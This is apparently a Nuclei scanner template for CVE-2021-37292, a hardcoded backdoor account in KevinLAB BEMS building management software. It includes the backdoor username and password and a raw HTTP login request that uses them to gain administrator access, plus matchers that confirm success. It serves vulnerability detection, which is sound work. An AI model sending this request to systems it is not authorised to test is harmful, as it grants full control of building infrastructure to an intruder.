id: CVE-2021-37292 info: name: KevinLAB BEMS (Building Energy Management System) - Backdoor Account author: gy741 severity: high description: | KevinLAB BEMS has an undocumented backdoor account, and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution through the RMI. An attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel, and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the BEMS is offering remotely. impact: | Attackers using hardcoded backdoor credentials (kevinlab/kevin003) can gain full administrative access with highest privileges to KevinLAB BEMS, bypassing all authentication mechanisms. remediation: | Remove the hardcoded backdoor account or upgrade to a patched version of KevinLAB BEMS. reference: - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5654.php - https://nvd.nist.gov/vuln/detail/cve-2021-37292 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.2 cve-id: CVE-2021-37292 epss-score: 0.0662 epss-percentile: 0.93017 cwe-id: NVD-CWE-Other cpe: cpe:2.3:a:kevinlab:4st_l-bems:1.0.0:*:*:*:*:*:*:* metadata: max-request: 1 vendor: kevinlab product: 4st_l-bems tags: cve,cve2021,kevinlab,bems,backdoor,vuln http: - raw: - | POST /http/index.php HTTP/1.1 Host: {{Hostname}} Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 requester=login&request=login¶ms=%5B%7B%22name%22%3A%22input_id%22%2C%22value%22%3A%22kevinlab%22%7D%2C%7B%22name%22%3A%22input_passwd%22%2C%22value%22%3A%22kevin003%22%7D%2C%7B%22name%22%3A%22device_key%22%2C%22value%22%3A%22a2fe6b53-e09d-46df-8c9a-e666430e163e%22%7D%2C%7B%22name%22%3A%22auto_login%22%2C%22value%22%3Afalse%7D%2C%7B%22name%22%3A%22login_key%22%2C%22value%22%3A%22%22%7D%5D matchers-condition: and matchers: - type: regex part: body regex: - 'data":"[A-Za-z0-9-]+' - 'login_key":"[A-Za-z0-9-]+' condition: or - type: word part: body words: - '"result":true' - type: status status: - 200 # digest: 4b0a00483046022100d520346da40c180427c8097d29917acb372189da79134b4256dca94e2e8d0196022100c24d6718e01365d04536b1eee42a2efcf6d94e6329b60abc266210703221c33e:922c64590222798bb761d5b6d8e72950
